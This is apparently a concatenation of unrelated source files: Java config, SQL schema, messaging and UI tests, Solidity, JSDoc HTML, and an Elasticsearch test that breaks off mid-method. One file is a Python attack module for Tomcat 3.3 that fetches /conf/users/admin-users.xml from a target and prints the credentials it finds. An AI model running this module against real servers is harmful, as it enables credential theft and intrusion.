text:
package de.is24.cloud.configuration;

import com.google.common.collect.ImmutableSet;
import org.apache.commons.lang3.StringUtils;
import org.springframework.core.env.Environment;

import java.util.Optional;

import static com.google.common.base.Preconditions.checkNotNull;

public final class AppEnvironment {
	private static final String PROPERTY_STACK_NAME = "STACK_NAME";
	private static final String PROPERTY_STACK_VERSION = "STACK_VERSION";
	private static final String PROPERTY_IMAGE_VERSION = "IMAGE_VERSION";
	private static final String PROPERTY_TIMEAPI_URL = "TIMEAPI_URL";

	private static final String SQS_HOST = "sqs.local.host";
	private static final String SQS_PORT = "sqs.local.port";

	private static final String DEFAULT_SQS_HOST = "localhost";
	private static final String DEFAULT_SQS_PORT = "9324";

	private static final String DEV_PROFILE = "development";

	private AppEnvironment() {
	}

	public static boolean isDevProfile(final Environment environment) {
		return ImmutableSet.copyOf(environment.getActiveProfiles()).contains(DEV_PROFILE);
	}

	public static Optional<String> getStackName(final Environment environment) {
		checkNotNull(environment);

		final String name = environment.getProperty(PROPERTY_STACK_NAME);
		return StringUtils.isNotBlank(name) ? Optional.of(name) : Optional.empty();
	}

	public static Optional<String> getStackVersion(final Environment environment) {
		checkNotNull(environment);

		final String version = environment.getProperty(PROPERTY_STACK_VERSION);
		return StringUtils.isNotBlank(version) ? Optional.of(version) : Optional.empty();
	}

	public static Optional<String> getImageVersion(final Environment environment) {
		checkNotNull(environment);

		final String version = environment.getProperty(PROPERTY_IMAGE_VERSION);
		return StringUtils.isNotBlank(version) ? Optional.of(version) : Optional.empty();
	}

	public static Optional<String> getTimeApiUrl(final Environment environment) {
		checkNotNull(environment);

		final String url = environment.getProperty(PROPERTY_TIMEAPI_URL);
		return StringUtils.isNotBlank(url) ? Optional.of(url) : Optional.empty();
	}

	public static String sqsHost(final Environment environment) {
		checkNotNull(environment);

		if (environment.containsProperty(SQS_HOST)) {
			return environment.getProperty(SQS_HOST);
		} else {
			return DEFAULT_SQS_HOST;
		}
	}

	public static String sqsPort(final Environment environment) {
		checkNotNull(environment);

		if (environment.containsProperty(SQS_PORT)) {
			return environment.getProperty(SQS_PORT);
		} else {
			return DEFAULT_SQS_PORT;
		}
	}
}

redpajama_set_name: RedPajamaGithub


text: package lagerctx


text:
CREATE EXTENSION IF NOT EXISTS plpgsql WITH SCHEMA pg_catalog;
CREATE EXTENSION IF NOT EXISTS hstore WITH SCHEMA public;
CREATE EXTENSION IF NOT EXISTS "uuid-ossp" WITH SCHEMA public;

CREATE                TABLE OPENBILL_CATEGORIES (
  owner_id            UUID,
  id                  UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
  name                character varying(256) not null,
  parent_id           uuid,
  foreign key (parent_id) REFERENCES OPENBILL_CATEGORIES (id) ON DELETE RESTRICT
);

CREATE UNIQUE INDEX index_openbill_categories_name ON OPENBILL_CATEGORIES USING btree (parent_id, name);

INSERT INTO OPENBILL_CATEGORIES  (name, id) values ('System', '12832d8d-43f5-499b-82a1-3466cadcd809');

CREATE                TABLE OPENBILL_ACCOUNTS (
  owner_id            UUID,
  id                  UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
  category_id         uuid not null,
  key                 character varying(256) not null,
  amount_cents        numeric not null default 0,
  amount_currency     char(3) not null default 'USD',
  details             text,
  transactions_count  integer not null default 0,
  meta                hstore not null default ''::hstore,
  created_at          timestamp without time zone default current_timestamp,
  updated_at          timestamp without time zone default current_timestamp,
  foreign key (category_id) REFERENCES OPENBILL_CATEGORIES (id) ON DELETE RESTRICT
);

CREATE UNIQUE INDEX index_accounts_on_id ON OPENBILL_ACCOUNTS USING btree (id);
CREATE UNIQUE INDEX index_accounts_on_key ON OPENBILL_ACCOUNTS USING btree (key);
CREATE INDEX index_accounts_on_meta ON OPENBILL_ACCOUNTS USING gin (meta);
CREATE INDEX index_accounts_on_created_at ON OPENBILL_ACCOUNTS USING btree (created_at);

CREATE TABLE OPENBILL_OPERATIONS (
  id              UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
  created_at      timestamp without time zone default current_timestamp,
  from_account_id uuid not null,
  to_account_id   uuid not null,
  owner_id        UUID,
  key             character varying(256) not null,
  details         text not null,
  meta            hstore not null default ''::hstore
);

CREATE TABLE OPENBILL_TRANSACTIONS (
  id              UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
  operation_id    UUID,
  owner_id        UUID,
  username        character varying(255) not null,
  date            date default current_date not null,
  created_at      timestamp without time zone default current_timestamp,
  from_account_id uuid not null,
  to_account_id   uuid not null CONSTRAINT different_accounts CHECK (to_account_id<>from_account_id),
  amount_cents    numeric not null CONSTRAINT positive CHECK (amount_cents>0),
  amount_currency char(3) not null,
  key             character varying(256) not null,
  details         text not null,
  meta            hstore not null default ''::hstore,
  foreign key (from_account_id) REFERENCES OPENBILL_ACCOUNTS (id) ON DELETE RESTRICT ON UPDATE RESTRICT,
  foreign key (operation_id) REFERENCES OPENBILL_OPERATIONS (id) ON DELETE RESTRICT ON UPDATE RESTRICT,
  foreign key (to_account_id) REFERENCES OPENBILL_ACCOUNTS (id)
);

CREATE UNIQUE INDEX index_transactions_on_key ON OPENBILL_TRANSACTIONS USING btree (key);
CREATE INDEX index_transactions_on_meta ON OPENBILL_TRANSACTIONS USING gin (meta);
CREATE INDEX index_transactions_on_created_at ON OPENBILL_TRANSACTIONS USING btree (created_at);


text:
from util import *
set_local_path()
import pyactivemq
from pyactivemq import CMSException
restore_path()

from test_sync import _test_sync
import unittest

class test_stomp_sync(_test_sync, unittest.TestCase):
    def setUp(self):
        self.url = 'tcp://localhost:61613?wireFormat=stomp'
        from pyactivemq import ActiveMQConnectionFactory
        f = ActiveMQConnectionFactory(self.url)
        self.conn = f.createConnection()

    def tearDown(self):
        if hasattr(self, 'conn'):
            self.conn.close()
            del self.conn

    # with AMQCPP-3, it seems you only get the exception when trying
    # to send the unsupported message type
    def xtest_MapMessage(self):
        session = self.conn.createSession()
        # not implemented for stomp
        self.assertRaises(CMSException, session.createMapMessage)
        try:
            session.createMapMessage()
            self.assert_(False)
        except CMSException, e:
            self.assert_(e.message.find('No Stomp Support') >= 0)

    def test_nolocal(self):
        session = self.conn.createSession()
        textMessage = session.createTextMessage()
        topic = self.random_topic(session)
        # Consumer with empty selector and nolocal set.
        consumer = session.createConsumer(topic, "", True)
        producer = session.createProducer(topic)
        self.conn.start()
        producer.send(textMessage)
        msg = consumer.receive(500)
        # nolocal consumer shouldn't receive the message
        self.assert_(msg is None)

    def test_nolocal_multiple_consumers(self):
        session = self.conn.createSession()
        textMessage = session.createTextMessage()
        topic = self.random_topic(session)
        # consumer with empty selector
        consumer1 = session.createConsumer(topic, "")
        # Consumer with empty selector and nolocal set. Because this
        # is the second consumer created on the connection, the
        # nolocal flag has no effect.
        consumer2 = session.createConsumer(topic, "", True)
        producer = session.createProducer(topic)
        self.conn.start()
        producer.send(textMessage)
        msg = consumer1.receive(5000)
        self.assert_(msg is not None)
        # Because nolocal is ignored except for the first connection,
        # there should be a message available
        msg = consumer2.receive(5000)
        self.assert_(msg is not None)

if __name__ == '__main__':
    import sys
    unittest.main(argv=sys.argv)


text:
import {DataSource, createDataSource} from '../DataSource';

type Todo = {
  id: string;
  title: string;
  done: boolean;
};

function generateTodos(amount: number): Todo[] {
  const res = new Array<Todo>(amount);
  for (let i = 0; i < amount; i++) {
    res[i] = {
      id: 'todo_' + i,
      title:
        '' +
        ((i % 20) * 1000000 + (amount - i)) +
        GKChesterton.replace(/Chesterton/g, '' + i),
      done: i % 3 === 0,
    };
  }
  return res;
}

const defaultFilter = (t: Todo) => !t.done;

type DataSourceish = DataSource<Todo, Todo[keyof Todo]> | FakeDataSource<Todo>;

// NOTE: this run in jest, which is not optimal for perf, but should give some idea
// make sure to use the `yarn watch` script in desktop root, so that the garbage collector is exposed

// By default skipped to not slow down each and every test run
test.skip('run perf test', () => {
  if (!global.gc) {
    console.warn(
      'Warning: garbage collector not available, skipping this test. Make sure to start the test suite using `yarn watch`',
    );
    return;
  }

  const measurements: any = {};

  const smallSize = 50000;
  const largeSize = 100000;
  const smallset = generateTodos(smallSize);
  const largeset = generateTodos(largeSize);

  const opts = {limit: largeSize * 2};
  const datasources = {
    unkeyed: createDataSource(smallset, opts),
    unkeyed_large: createDataSource(largeset, opts),
    keyed: createDataSource(smallset, {key: 'id', ...opts}),
    keyed_large: createDataSource(largeset, {key: 'id', ...opts}),
    unkeyed_sorted: createDataSource(smallset, opts),
    unkeyed_sorted_large: createDataSource(largeset, opts),
    keyed_sorted: createDataSource(smallset, {key: 'id', ...opts}),
    keyed_sorted_large: createDataSource(largeset, {
      key: 'id',
      ...opts,
    }),
    fake_small: new FakeDataSource(smallset),
    fake_large: new FakeDataSource(largeset),
    fake_small_sorted: new FakeDataSource(smallset),
    fake_large_sorted: new FakeDataSource(largeset),
  };

  Object.entries(datasources).forEach(([name, ds]) => {
    ds.view.setWindow(0, 1000000);
    if (name.includes('sorted')) {
      ds.view.setFilter(defaultFilter);
      ds.view.setSortBy('title');
    }
  });

  function measure(title: string, task: (ds: DataSourceish) => void) {
    measurements[title] = {};
    Object.entries(datasources).forEach(([name, ds]) => {
      global.gc?.();
      const start = Date.now();
      task(ds as any);
      if (ds instanceof FakeDataSource) {
        // to 'render' we need to know the end result (this mimics a lazy evaluation of filter / sort)
        // note that this skews the test a bit in favor of fake data source,
        // as DataSource would *always* keep things sorted/ filtered, but doing that would explode the test for append / update :)
        ds.view.buildOutput();
      }
      //   global.gc?.(); // to cleanup our createdmess as part of the measurement
      const duration = Date.now() - start;
      measurements[title][name] = duration;
    });
  }

  measure('append', (ds) => {
    for (let i = 0; i < 1000; i++) {
      ds.append({
        id: 'test_' + i,
        title: i + 'read some more chesterton!',
        done: false,
      });
    }
  });

  measure('update', (ds) => {
    for (let i = 0; i < 1000; i++) {
      ds.update(i, {
        id: 'test_update_' + i,
        title: i + 'read some more chesterton!',
        done: true,
      });
    }
  });

  measure('remove', (ds) => {
    ds.delete(99);
  });

  measure('shift', (ds) => {
    ds.shift(0.1 * smallSize);
  });

  measure('change sorting', (ds) => {
    ds.view.setSortBy('id');
  });

  measure('change filter', (ds) => {
    ds.view.setFilter((t) => t.title.includes('23')); // 23 does not occur in original text
  });

  const sum: any = {};
  Object.entries(measurements).forEach(([_test, entries]: any) => {
    Object.entries(entries).forEach(([ds, duration]) => {
      if (!sum[ds]) sum[ds] = 0;
      sum[ds] += duration;
    });
  });
  measurements.sum = sum;
  console.table(measurements);
});

const GKChesterton = `Gilbert Keith Chesterton KC*SG (29 May 1874 – 14 June 1936) was an English writer,[2] philosopher, lay theologian, and literary and art critic. He has been referred to as the "prince of paradox".[3] Time magazine observed of his writing style: "Whenever possible Chesterton made his points with popular sayings, proverbs, allegories—first carefully turning them inside out."[4]

Chesterton created the fictional priest-detective Father Brown,[5] and wrote on apologetics. Even some of those who disagree with him have recognised the wide appeal of such works as Orthodoxy and The Everlasting Man.[4][6] Chesterton routinely referred to himself as an "orthodox" Christian, and came to identify this position more and more with Catholicism, eventually converting to Catholicism from High Church Anglicanism. Biographers have identified him as a successor to such Victorian authors as Matthew Arnold, Thomas Carlyle, John Henry Newman, and John Ruskin.[7] On his contributions, T. S. Eliot wrote:

He was importantly and consistently on the side of the angels. Behind the Johnsonian fancy-dress, so reassuring to the British public, he concealed the most serious and revolutionary designs—concealing them by exposure ... Chesterton's social and economic ideas...were fundamentally Christian and Catholic. He did more, I think, than any man of his time—and was able to do more than anyone else, because of his particular background, development and abilities as a public performer—to maintain the existence of the important minority in the modern world. He leaves behind a permanent claim upon our loyalty, to see that the work that he did in his time is continued in ours.[8]`;

class FakeDataSource<T> {
  data: ReadonlyArray<T>;
  output!: ReadonlyArray<T>;
  filterFn?: (t: T) => boolean;
  private sortAttr?: keyof T;

  constructor(initial: T[]) {
    this.data = initial;
    this.view.buildOutput();
  }

  view = {
    setWindow: (_start: number, _end: number) => {
      // noop
    },

    setFilter: (filter: (t: T) => boolean) => {
      this.filterFn = filter;
    },

    setSortBy: (k: keyof T) => {
      this.sortAttr = k;
    },

    buildOutput: () => {
      const filtered = this.filterFn
        ? this.data.filter(this.filterFn)
        : this.data;
      const sorted = this.sortAttr
        ? filtered
            .slice()
            .sort((a: any, b: any) =>
              String.prototype.localeCompare.call(
                a[this.sortAttr!],
                b[this.sortAttr!],
              ),
            )
        : filtered;
      this.output = sorted;
    },
  };

  append(v: T) {
    this.data = [...this.data, v];
  }

  update(index: number, v: T) {
    this.data = this.data.slice();
    (this.data as any)[index] = v;
  }

  delete(index: number) {
    this.data = this.data.slice();
    (this.data as any).splice(index, 1);
  }

  shift(amount: number) {
    this.data = this.data.slice(amount);
  }
}


text:
from auxiliary import Auxiliary
from re import findall
from log import LOG
import utility

class Auxiliary:
    """ Tomcat 3.x allows traversing the local path, so we can use that to
    fetch credentials
    """

    def __init__(self):
        self.name = 'Fetch credentials'
        self.versions = ['3.3']
        self.flag = 'tc-ofetch' # someday there might be a real fetch...

    def check(self, fingerprint):
        if fingerprint.version in self.versions:
            return True
        return False

    def run(self, fingerengine, fingerprint):
        """ Simple fetch
        """

        utility.Msg("Fetching credentials...")
        base = 'http://{0}:{1}'.format(fingerengine.options.ip,
                                       fingerprint.port)
        uri = '/conf/users/admin-users.xml'

        response = utility.requests_get(base + uri)
        if response.status_code is 200:

           un = findall("name=\"(.*?)\"", response.content)
           pw = findall("password=\"(.*?)\"", response.content)
           if len(pw) > 0 and len(un) > 0:
               utility.Msg("Found credentials:")
               for (u, p) in zip(un, pw):
                   utility.Msg("\t%s:%s" % (u, p), LOG.SUCCESS)


text:
<?php
/**
* Auto generated from CloudSign.proto
*
 * Diadoc.Api.Proto package
 */

namespace Diadoc\Api\Proto {
/**
 * CloudSignConfirmResult message
 */
class CloudSignConfirmResult extends \ProtobufMessage
{
    /* Field index constants */
    const SIGNATURES = 1;

    /* @var array Field descriptors */
    protected static $fields = array(
        self::SIGNATURES => array(
            'name' => 'Signatures',
            'repeated' => true,
            'type' => '\Diadoc\Api\Proto\Content_v2'
        ),
    );

    /**
     * Constructs new message container and clears its internal state
     */
    public function __construct()
    {
        $this->reset();
    }

    /**
     * Clears message values and sets default ones
     *
     * @return null
     */
    public function reset()
    {
        $this->values[self::SIGNATURES] = array();
    }

    /**
     * Returns field descriptors
     *
     * @return array
     */
    public function fields()
    {
        return self::$fields;
    }

    /**
     * Appends value to 'Signatures' list
     *
     * @param \Diadoc\Api\Proto\Content_v2 $value Value to append
     *
     * @return null
     */
    public function appendSignatures(\Diadoc\Api\Proto\Content_v2 $value)
    {
        return $this->append(self::SIGNATURES, $value);
    }

    /**
     * Clears 'Signatures' list
     *
     * @return null
     */
    public function clearSignatures()
    {
        return $this->clear(self::SIGNATURES);
    }

    /**
     * Returns 'Signatures' list
     *
     * @return \Diadoc\Api\Proto\Content_v2[]
     */
    public function getSignatures()
    {
        return $this->get(self::SIGNATURES);
    }

    /**
     * Returns 'Signatures' iterator
     *
     * @return \ArrayIterator
     */
    public function getSignaturesIterator()
    {
        return new \ArrayIterator($this->get(self::SIGNATURES));
    }

    /**
     * Returns element from 'Signatures' list at given offset
     *
     * @param int $offset Position in list
     *
     * @return \Diadoc\Api\Proto\Content_v2
     */
    public function getSignaturesAt($offset)
    {
        return $this->get(self::SIGNATURES, $offset);
    }

    /**
     * Returns count of 'Signatures' list
     *
     * @return int
     */
    public function getSignaturesCount()
    {
        return $this->count(self::SIGNATURES);
    }
}
}


text:
import React from 'react';
import { shallow } from 'enzyme';
import BlockIcon from 'material-ui/svg-icons/navigation/close';

import CloseButton from '../../app/components/CloseButton';

describe('CloseButton', () => {
  const handleClick = jest.fn();

  it('should render properly when no styles are provided', () => {
    const result = shallow(
      <CloseButton handleClick={handleClick} />
    );
    expect(result).toMatchSnapshot();
  });

  it('should render properly when styles are provided', () => {
    const result = shallow(
      <CloseButton
        handleClick={handleClick}
        top={10}
        right={10}
        fill="#fff"
      />
    );
    expect(result).toMatchSnapshot();
  });

  it('should call handleClick when tbe Icon is clicked', () => {
    const result = shallow(
      <CloseButton handleClick={handleClick} />
    );
    result.find(BlockIcon).simulate('touchTap');
    expect(handleClick).toHaveBeenCalled();
  });
});


text:
module.exports = `
pragma solidity >=0.4.22 <0.7.0;

library Assert {

  event AssertionEvent(
    bool passed,
    string message
  );

  function ok(bool a, string memory message) public returns (bool result) {
    result = a;
    emit AssertionEvent(result, message);
  }

  function equal(uint a, uint b, string memory message) public returns (bool result) {
    result = (a == b);
    emit AssertionEvent(result, message);
  }

  function equal(int a, int b, string memory message) public returns (bool result) {
    result = (a == b);
    emit AssertionEvent(result, message);
  }

  function equal(bool a, bool b, string memory message) public returns (bool result) {
    result = (a == b);
    emit AssertionEvent(result, message);
  }

  // TODO: only for certain versions of solc
  //function equal(fixed a, fixed b, string message) public returns (bool result) {
  //  result = (a == b);
  //  emit AssertionEvent(result, message);
  //}

  // TODO: only for certain versions of solc
  //function equal(ufixed a, ufixed b, string message) public returns (bool result) {
  //  result = (a == b);
  //  emit AssertionEvent(result, message);
  //}

  function equal(address a, address b, string memory message) public returns (bool result) {
    result = (a == b);
    emit AssertionEvent(result, message);
  }

  function equal(bytes32 a, bytes32 b, string memory message) public returns (bool result) {
    result = (a == b);
    emit AssertionEvent(result, message);
  }

  function equal(string memory a, string memory b, string memory message) public returns (bool result) {
     result = (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)));
     emit AssertionEvent(result, message);
  }

  function notEqual(uint a, uint b, string memory message) public returns (bool result) {
    result = (a != b);
    emit AssertionEvent(result, message);
  }

  function notEqual(int a, int b, string memory message) public returns (bool result) {
    result = (a != b);
    emit AssertionEvent(result, message);
  }

  function notEqual(bool a, bool b, string memory message) public returns (bool result) {
    result = (a != b);
    emit AssertionEvent(result, message);
  }

  // TODO: only for certain versions of solc
  //function notEqual(fixed a, fixed b, string message) public returns (bool result) {
  //  result = (a != b);
  //  emit AssertionEvent(result, message);
  //}

  // TODO: only for certain versions of solc
  //function notEqual(ufixed a, ufixed b, string message) public returns (bool result) {
  //  result = (a != b);
  //  emit AssertionEvent(result, message);
  //}

  function notEqual(address a, address b, string memory message) public returns (bool result) {
    result = (a != b);
    emit AssertionEvent(result, message);
  }

  function notEqual(bytes32 a, bytes32 b, string memory message) public returns (bool result) {
    result = (a != b);
    emit AssertionEvent(result, message);
  }

  function notEqual(string memory a, string memory b, string memory message) public returns (bool result) {
    result = (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b)));
    emit AssertionEvent(result, message);
  }

  /*----------------- Greater than --------------------*/
  function greaterThan(uint a, uint b, string memory message) public returns (bool result) {
    result = (a > b);
    emit AssertionEvent(result, message);
  }

  function greaterThan(int a, int b, string memory message) public returns (bool result) {
    result = (a > b);
    emit AssertionEvent(result, message);
  }
  // TODO: safely compare between uint and int
  function greaterThan(uint a, int b, string memory message) public returns (bool result) {
    if(b < int(0)) {
      // int is negative uint "a" always greater
      result = true;
    } else {
      result = (a > uint(b));
    }
    emit AssertionEvent(result, message);
  }
  function greaterThan(int a, uint b, string memory message) public returns (bool result) {
    if(a < int(0)) {
      // int is negative uint "b" always greater
      result = false;
    } else {
      result = (uint(a) > b);
    }
    emit AssertionEvent(result, message);
  }
  /*----------------- Lesser than --------------------*/
  function lesserThan(uint a, uint b, string memory message) public returns (bool result) {
    result = (a < b);
    emit AssertionEvent(result, message);
  }

  function lesserThan(int a, int b, string memory message) public returns (bool result) {
    result = (a < b);
    emit AssertionEvent(result, message);
  }
  // TODO: safely compare between uint and int
  function lesserThan(uint a, int b, string memory message) public returns (bool result) {
    if(b < int(0)) {
      // int is negative int "b" always lesser
      result = false;
    } else {
      result = (a < uint(b));
    }
    emit AssertionEvent(result, message);
  }

  function lesserThan(int a, uint b, string memory message) public returns (bool result) {
    if(a < int(0)) {
      // int is negative int "a" always lesser
      result = true;
    } else {
      result = (uint(a) < b);
    }
    emit AssertionEvent(result, message);
  }
}
`


text:
// BEOCREATE NOW PLAYING

	var debug = beo.debug;

	var version = require("./package.json").version;

	var defaultSettings = {
		useExternalArtwork: "auto"
	};
	var settings = JSON.parse(JSON.stringify(defaultSettings));

	beo.bus.on('general', function(event) {
		// See documentation on how to use beo.bus.
		// GENERAL channel broadcasts events that concern the whole system.

		//console.dir(event);

		if (event.header == "startup") {

		}

		if (event.header == "activatedExtension") {
			if (event.content.extension == "now-playing") {

			}

			if (event.content == "ui-settings") {
				beo.bus.emit("ui", {target: "now-playing", header: "useExternalArtwork", content: {useExternalArtwork: settings.useExternalArtwork}});
			}
		}
	});

	beo.bus.on("now-playing", function(event) {

		if (event.header == "settings") {
			if (event.content.settings) {
				settings = Object.assign(settings, event.content.settings);
			}
		}

		if (event.header == "useExternalArtwork") {
			if (event.content && event.content.useExternalArtwork) {
				settings.useExternalArtwork = event.content.useExternalArtwork;
				beo.bus.emit("settings", {header: "saveSettings", content: {extension: "now-playing", settings: settings}});
			}
			beo.bus.emit("ui", {target: "now-playing", header: "useExternalArtwork", content: {useExternalArtwork: settings.useExternalArtwork}});
		}

		if (event.header == "transport") {
			transport(event.content.action);
		}

		if (event.header == "toggleLove") {
			beo.bus.emit("sources", {header: "toggleLove"});
		}
	});

function transport(action) {
	if (action &&
		beo.extensions.sources &&
		beo.extensions.sources.transport) {
		beo.extensions.sources.transport(action);
	}
}

interact = {
	actions: {
		playPause: function() {
			transport("playPause");
		},
		next: function() {
			transport("next");
		},
		previous: function() {
			transport("previous");
		},
		pause: function() {
			transport("pause");
		}
	}
}

module.exports = {
	version: version,
	interact: interact
};


text:
<!DOCTYPE html>

    <meta charset="utf-8">
    <title>SuitJS</title>

    <meta name="description" content="A comfortable framework." />

        <meta name="keywords" content="javascript,framework,mvc,suitjs,haxe,typescript,animation,mvc,indexedDB,storage,component,webcomponent,request,ajax" />
        <meta name="keyword" content="javascript,framework,mvc,suitjs,haxe,typescript,animation,mvc,indexedDB,storage,component,webcomponent,request,ajax" />

    <meta property="og:title" content="SuitJS"/>
    <meta property="og:type" content="website"/>
    <meta property="og:image" content="http://suitjs.com/img/logo-og-big.png"/>
    <meta property="og:site_name" content="SuitJS"/>
    <meta property="og:url" content="http://suitjs.com/docs/"/>

    <link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
    <link type="text/css" rel="stylesheet" href="styles/bootstrap.min.css">
    <link type="text/css" rel="stylesheet" href="styles/jaguar.css">
    <link rel="icon" type="image/png" href="http://suitjs.com/favicon.png">

SuitJS

        <input id="search" type="text" class="form-control input-sm" placeholder="Search Documentations">

                Ease

            Methods

linear

                Ease.back

            Methods

in

inout

out

                Ease.bounce

            Methods

in

inout

out

                Ease.circ

            Methods

in

inout

out

                Ease.cubic

            Methods

in

inout

out

                Ease.elastic

            Methods

in

inout

out

                Ease.expo

            Methods

in

inout

out

                Ease.quad

            Methods

in

inout

out

                Ease.quartic

            Methods

in

inout

out

                Ease.quintic

            Methods

in

inout

out

                Ease.sine

            Methods

in

inout

out

                Lapel

            Members

components

            Methods

add

create

find

                Reel

            Members

defaultDuration

defaultEasing

list

            Methods

add

stop

                Servant

            Members

hasReqAnimFrame

list

            Methods

add

clear

delay

iterate

remove

run

set

start

stop

                Suit

            Methods

assert

isNullOrEmpty

                Suit.controller

            Members

list

            Methods

add

clear

dispatch

remove

                Suit.model

            Methods

data

value

                Suit.request

            Methods

create

get

post

                Suit.request.binary

            Methods

get

post

                Suit.request.blob

            Methods

get

post

                Suit.request.document

            Methods

get

post

                Suit.request.json

            Methods

get

post

                Suit.view

            Members

nameAttrib

            Methods

contains

get

name

parent

path

query

traverse

                Time

            Members

delta

elapsed

hasPerfTime

            Methods

clock

                Wallet

            Members

context

database

            Methods

clear

destroy

exists

get

init

iterate

key

keys

length

remove

set

Class: Lapel

    Lapel

            new Lapel()

            source/lapel.doc.js, line 6

Class that implements the feature of webcomponents and extends the functionalities of Suit.

Members

staticLapel.components<span class="type-signature type array.<lapelcomponent>">Array.<LapelComponent>

Container for added components.

Methods

            staticLapel.add(p_component){LapelComponent}

            source/lapel.doc.js, line 130

Register a new component to the component pool.

		Name

		Type

		Description

                p_component

LapelComponent

Reference to the Lapel component.

Returns:

        Type
        Description

                        LapelComponent

Reference to the added component.

Examples

Given the script

 var c = {
 tag: "custom-component",
 src: "<div class='custom'></div>",
 init: function(p_element) {
     p_element.textContent = "I'm Here.";
 },
 inner: false
};
Lapel.add(c);

Add the custom tag in the HTML

<custom-component>Original Text</custom-component>

<!-- After Init -->
<div class='custom'>I'm Here.</div>

<!-- If `inner` is true, then the result will be. -->
<custom-component><div class='custom'>I'm Here.</div></component>

            staticLapel.create(p_tag, p_attribs, p_src){Element}

            source/lapel.doc.js, line 89

Creates a new instance of a LapelComponent.

		Name

		Type

		Description

                p_tag

String
|

LapelComponent

Name of the template's tag or reference to the component itself.

                p_attribs

Object

                        nullable

Table of attributes for the created Element.

                p_src

String

                        nullable

String that can fill the 'textContent' variable of the created Element. Defaults to empty.

Returns:

        Type
        Description

                        Element

Reference to the created Element with features of the component.

Example

//Define a simple component.

Lapel.add({
 tag: "custom-button",
 src: "<button class='custom'></button>"
});

var bt = Lapel.create("custom-button",{name: "cbutton"},"Click Me!");
console.log(bt); //<button class='custom' name="cbutton">Click Me!</button>

            staticLapel.find(p_tag){LapelComponent}

            source/lapel.doc.js, line 63

Finds a LapelComponent template based on its tag name. If none is found, null is returned.

		Name

		Type

		Description

                p_tag

String

HTML tag of the template.

Returns:

        Type
        Description

                        LapelComponent

Reference to the lapel component template.

Example

//Define a simple component.
Lapel.add({
 tag: "my-component",
 src: "<div class='my-component'></div>"
});

var c = Lapel.find("my-component");
console.log(c); //{ tag: 'my-component', src: "<div class='my-component'></div>" }

        Please enable JavaScript to view the comments powered by Disqus.
        comments powered by Disqus

            Documentation generated by JSDoc 3.4.0 on Tue Apr 05 2016 15:50:12 GMT-0300 (E. South America Standard Time)


text:
package org.elasticsearch.index.store;

import org.elasticsearch.action.admin.cluster.node.stats.NodeStats;
import org.elasticsearch.action.admin.cluster.node.stats.NodesStatsResponse;
import org.elasticsearch.action.admin.indices.stats.IndexShardStats;
import org.elasticsearch.action.admin.indices.stats.IndexStats;
import org.elasticsearch.action.admin.indices.stats.IndicesStatsResponse;
import org.elasticsearch.action.admin.indices.stats.ShardStats;
import org.elasticsearch.action.bulk.BulkItemResponse;
import org.elasticsearch.action.bulk.BulkRequestBuilder;
import org.elasticsearch.action.bulk.BulkResponse;
import org.elasticsearch.action.bulk.TransportShardBulkAction;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.client.Client;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.common.xcontent.XContentBuilder;
import org.elasticsearch.index.engine.SegmentsStats;
import org.elasticsearch.plugins.Plugin;
import org.elasticsearch.search.SearchHit;
import org.elasticsearch.test.ESIntegTestCase;
import org.elasticsearch.test.transport.MockTransportService;
import org.elasticsearch.transport.ConnectTransportException;
import org.elasticsearch.transport.TransportService;

import java.io.IOException;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashSet;
import java.util.Set;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.stream.Collectors;

import static org.elasticsearch.common.xcontent.XContentFactory.jsonBuilder;
import static org.elasticsearch.index.query.QueryBuilders.termQuery;
import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertHitCount;
import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertSearchResponse;
import static org.hamcrest.CoreMatchers.equalTo;
import static org.hamcrest.Matchers.greaterThan;

@ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.SUITE, numDataNodes = 2,
    supportsDedicatedMasters = false, numClientNodes = 1, transportClientRatio = 0.0)
public class ExceptionRetryIT extends ESIntegTestCase {

    @Override
    protected Collection<Class<? extends Plugin>> nodePlugins() {
        return Arrays.asList(MockTransportService.TestPlugin.class);
    }

    @Override
    protected void beforeIndexDeletion() {
        // a write operation might still be in flight when the test has finished
        // so we should not check the operation counter here
    }

    /**
     * Tests retry mechanism when indexing. If an exception occurs when indexing then the indexing request is tried again before finally
     * failing. If auto generated ids are used this must not lead to duplicate ids
     * see https://github.com/elastic/elasticsearch/issues/8788
     */
    public void testRetryDueToExceptionOnNetworkLayer() throws ExecutionException, InterruptedException, IOException {
        final AtomicBoolean exceptionThrown = new AtomicBoolean(false);
        int numDocs = scaledRandomIntBetween(100, 1000);
        Client client = internalCluster().coordOnlyNodeClient();
        NodesStatsResponse nodeStats = client().admin().cluster().prepareNodesStats().get();
        NodeStats unluckyNode = randomFrom(nodeStats.getNodes().stream().filter((s) -> s.getNode().isDataNode())
            .collect(Collectors.toList()));
        assertAcked(client().admin().indices().prepareCreate("index").setSettings(Settings.builder()
            .put("index.number_of_replicas", 1)
            .put("index.number_of_shards", 5)));
        ensureGreen("index");
        logger.info("unlucky node: {}", unluckyNode.getNode());
        //create a transport service that throws a ConnectTransportException for one bulk request and therefore triggers a retry.
        for (NodeStats dataNode : nodeStats.getNodes()) {
            MockTransportService mockTransportService = ((MockTransportService) internalCluster().getInstance(TransportService.class,
                dataNode.getNode().getName()));
            mockTransportService.addSendBehavior(internalCluster().getInstance(TransportService.class, unluckyNode.getNode().getName()),
                (connection, requestId, action, request, options) -> {
                    connection.sendRequest(requestId, action, request, options);
                    if (action.equals(TransportShardBulkAction.ACTION_NAME) && exceptionThrown.compareAndSet(false, true)) {
                        logger.debug("Throw ConnectTransportException");
                        throw new ConnectTransportException(connection.getNode(), action);
                    }
                });
        }

        BulkRequestBuilder bulkBuilder = client.prepareBulk();
        for (int i = 0; i < numDocs; i++) {
            XContentBuilder doc = null;
